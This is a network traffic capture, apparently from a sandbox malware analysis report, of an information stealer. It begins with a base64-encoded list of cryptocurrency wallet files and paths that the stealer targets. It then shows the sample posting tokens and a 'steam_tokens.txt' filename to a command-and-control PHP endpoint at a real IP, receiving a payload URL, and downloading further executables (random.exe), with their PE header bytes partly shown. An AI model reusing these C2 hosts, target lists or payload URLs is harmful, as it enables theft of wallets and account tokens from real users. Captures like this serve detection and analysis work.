Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 26, 2024 16:31:54.978192091 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBAAEGDBKKECBGIJEB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 2d 2d 0d 0a Data Ascii: ------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="message"files------JJDBAAEGDBKKECBGIJEB--
Nov 26, 2024 16:31:55.441236973 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:55.460371017 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file"------AAKEGDAKEHJDHIDHJJDA--
Nov 26, 2024 16:31:56.416749001 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:56.453985929 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="message"ybncbhylepme------DBFBFBGDBKJJKFIEHJDB--
Nov 26, 2024 16:31:56.924484968 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49937	185.215.113.16	80	5720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 16:31:57.066459894 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 26, 2024 16:31:58.576761007 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 15:31:58 GMT Content-Type: application/octet-stream Content-Length: 1921024 Last-Modified: Tue, 26 Nov 2024 15:09:25 GMT Connection: keep-alive ETag: "6745e4a5-1d5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@0Ld@WkDKK @.rsrcD@.idata @ +@pcmamdpe@14@tewptukaK*@.taggant0L".@
Nov 26, 2024 16:31:58.576766968 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 16:31:58.576772928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 16:31:58.576777935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 16:31:58.576783895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 16:31:58.576790094 CET	1236	IN	Data Raw: f3 14 0d e5 b5 4a 90 3c 02 8d 53 a9 d6 99 7e d6 f2 4c 03 38 28 95 53 65 ad 51 7c d6 b3 85 fd 4d 2f d3 91 b5 0a 9b 21 4d a2 66 d5 4d b2 53 81 78 c2 2b 95 c5 56 a7 94 04 fc 95 bd c6 ef 86 0c 45 ba d1 7b 45 53 fd dd 89 cf b1 85 49 dc f1 61 b7 33 84 Data Ascii: J<S~L8(SeQ\|M/!MfMSx+VE{ESIa3}]2"3!E=o)*SOY%X9mfefPx(SIxsSeq$EQ3s`z^mO2A\QSJ5VJ"5]
Nov 26, 2024 16:31:58.576796055 CET	1236	IN	Data Raw: 9a e1 29 c9 5e 33 d9 7d e3 ba b5 56 aa e3 d2 c5 d6 4f 0f 1d e4 e8 04 fd 6d ce 42 82 dc 9c 47 94 f0 bb 57 d8 08 66 1c bb dd 94 73 c5 ba 57 32 d7 22 bc 96 54 b6 53 fc 9d 4a a5 40 4b 77 73 e1 35 a5 fa 31 fe 6d 85 e2 e3 b7 7d ff 51 8a 53 2a 54 bc 02 Data Ascii: )^3}VOmBGWfsW2"TSJ@Kws51m}QSTHyJBx}0&}Na"5)!F<f=_xm%6tF5{iYeh6OU)\|q(V<Tse6dB\|HB5mdBX5)D3{
Nov 26, 2024 16:31:58.576802015 CET	1236	IN	Data Raw: b4 e8 13 92 7f 67 14 8d 2b de fd 60 28 45 c1 f8 8c 88 21 46 99 d0 df 07 eb a8 a5 06 fb ba 18 49 92 8e 75 78 ff 19 f1 5d 32 2d 98 da ba e7 c7 c7 b1 b0 82 8a fd 7c 6f e1 45 e0 2e 7c f5 85 99 7b cc 45 47 d6 bd 94 35 d6 36 19 1f e2 ff f5 fb c6 b2 af Data Ascii: g+`(E!FIux]2-\|oE.\|{EG56VeQc*Ey5:XE=U.Svq%]2m#'2sx~D]u#eT4oaNnu^UTuivX54V{N}IyO>C]NLC
Nov 26, 2024 16:31:58.576807976 CET	1236	IN	Data Raw: 48 d4 5d f4 ef 85 9d 1f de fc bb d7 4d 7a 8d 61 58 0a c1 15 9a 79 9a f6 26 a5 bc a6 de e6 76 24 f7 3b e5 55 a4 83 d2 c5 5f a1 a2 84 fc b3 2d b0 2b c3 7a 55 71 53 e5 49 6a 5d d9 52 6e 26 f8 94 f6 8a 7a e9 88 2b 01 e1 1f e1 74 95 ec 39 99 75 3f 4e Data Ascii: H]MzaXy&v$;U_-+zUqSIj]Rn&z+t9u?N$r(6R^@>-&sYVe]#:dv^7eKo(:JhLTr%D5wx8'ES^q]BUV]at+m!K]rXA\|Wzs
Nov 26, 2024 16:31:58.576812983 CET	1236	IN	Data Raw: b6 76 80 e1 a8 75 89 14 a8 a3 42 f6 35 6b a4 2a 55 90 99 8c e0 da 94 25 be 94 47 6d f2 ab 23 59 dd 8d 0c ad 0c bb 79 65 43 5e 69 2a 33 f4 5d b7 df 55 e5 b9 c3 2b 74 49 b8 f4 9d ed 1c ba 18 07 c8 84 0d e9 09 d3 96 54 bf 4f 0a 26 e0 84 05 fe 08 ad Data Ascii: vuB5kU%Gm#YyeC^i3]U+tITO&Eeu<p5IlHy%(W*oOky\\]vB]xp-F1,x I@\Q?o. -:iWuOl$=MbX\|v
Nov 26, 2024 16:31:58.699837923 CET	1236	IN	Data Raw: 30 6b 96 2a 22 0d e6 d9 34 84 14 a0 80 78 68 11 3f dc 6d 79 ce d2 91 bb 7a c9 97 45 d5 14 d1 32 2c 43 cc e3 cd 94 91 51 a2 f9 9b c9 cb 04 51 a7 b8 9f 0d 85 c1 c5 82 b3 74 a5 b3 f3 ca 8c 13 c4 de c2 62 8f d0 bc 13 ca d7 34 dd 01 54 a7 f0 a1 cf 24 Data Ascii: 0k"4xh?myzE2,CQQtb4T$0H,>`vg1?K5xTw]rd\|zB>Q4&L<8zEM49]Ow5r,\-)yiN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49956	185.215.113.206	80	5720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 16:32:02.443198919 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBKKFHIEGDHJKECAAKK--
Nov 26, 2024 16:32:04.293622017 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:32:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50091	185.215.113.43	80	8264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 16:33:04.583343983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 26, 2024 16:33:06.028103113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 15:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50098	185.215.113.43	80	8264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 16:33:07.667506933 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 26, 2024 16:33:09.066395044 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 15:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 39 33 31 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 33 31 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 39 33 32 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 33 32 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1009318001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009319001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009320001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009321001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50103	185.215.113.16	80	8264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 16:33:09.193650007 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 26, 2024 16:33:10.680478096 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 15:33:10 GMT Content-Type: application/octet-stream Content-Length: 1828864 Last-Modified: Tue, 26 Nov 2024 15:09:11 GMT Connection: keep-alive ETag: "6745e497-1be800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 95 08 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 02 04 00 00 c6 00 00 00 00 00 00 00 d0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 49 00 00 04 00 00 a9 cf 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELEgH@I@\pp `\@.rsrcpl@.idata n@ )p@dmrorfjyPp/Pr@wppahznbH@.taggant0H"@
Nov 26, 2024 16:33:10.680495977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 16:33:10.680507898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 16:33:10.680520058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 16:33:10.680531025 CET	1236	IN	Data Raw: 5a e5 3d 9d b2 b1 51 37 ff 04 27 79 7d b2 97 a5 36 4a 89 06 0d 60 30 94 57 9f 1c b2 50 2b 23 d3 3d 66 7b f5 24 a0 96 7d 59 01 5b 2c 19 ea 4d 06 d0 9b 0d 19 71 b6 56 39 18 8a 39 e6 ca e3 43 d6 2b 2d e4 84 bf ba 95 38 71 29 17 c1 68 e7 bc fc 38 29 Data Ascii: Z=Q7'y}6J`0WP+#=f{$}Y[,MqV99C+-8q)h8).O^ZP:rWxId'6I"?}6L_Vl< Q+9e%%?:"iMfJM}Au.DO3Bzv2[g"-@TB*vj 4Og#cVN)1
Nov 26, 2024 16:33:10.680541992 CET	1120	IN	Data Raw: b9 a6 b0 15 89 74 ec bb 57 ae f4 4e 6d 92 ec ce 9d c2 ae 14 7d bd 6f d2 47 6a ce 6f 01 d5 71 1d 78 b2 95 3b 09 fc e7 74 f1 ba 22 e0 55 a8 54 bf f5 85 7d 34 39 27 d2 84 4a a0 1e 9f 36 32 5a c4 ad e9 02 c1 17 b6 32 04 c5 d2 4d 88 02 e8 fd 10 02 f5 Data Ascii: tWNm}oGjoqx;t"UT}49'J62Z2M"}KuvLq8YF2`e<$RMow<f6azq/~{X5g1w8+S\|?l6Aq8\&&moFVc>R?(}8\C4%y]`
Nov 26, 2024 16:33:10.680555105 CET	1236	IN	Data Raw: 15 65 d7 30 28 0e bf 7c 76 ba 7c 39 b4 fd 89 1f 2d 11 cb d2 27 64 11 d6 cd 93 3e 74 25 82 19 76 f3 60 d8 7b 2b 29 ee d0 23 d0 cd c3 7e dd 95 c1 6f 37 88 5d 3c 97 a6 f2 56 08 78 1f 0c 5f 05 fe cd 7e 45 fe 11 02 62 2e 31 a9 5c 79 74 a0 84 d2 35 4a Data Ascii: e0(\|v\|9-'d>t%v`{+)#~o7]<Vx_~Eb.1\yt5JPb3\|3(N6<^5\u0^u>YOH#<"H"X(2u.w$D/<2B;MJ<45TCfD&NTtl1q)]}3=g#n55
